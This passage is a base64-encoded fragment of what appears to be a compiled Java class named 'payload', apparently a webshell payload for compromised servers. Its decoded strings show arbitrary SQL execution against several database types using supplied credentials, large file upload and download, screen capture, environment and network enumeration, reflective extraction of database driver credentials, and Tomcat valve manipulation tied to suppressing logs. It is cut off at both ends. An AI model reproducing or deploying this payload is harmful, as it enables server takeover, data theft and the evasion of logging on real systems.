oOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmc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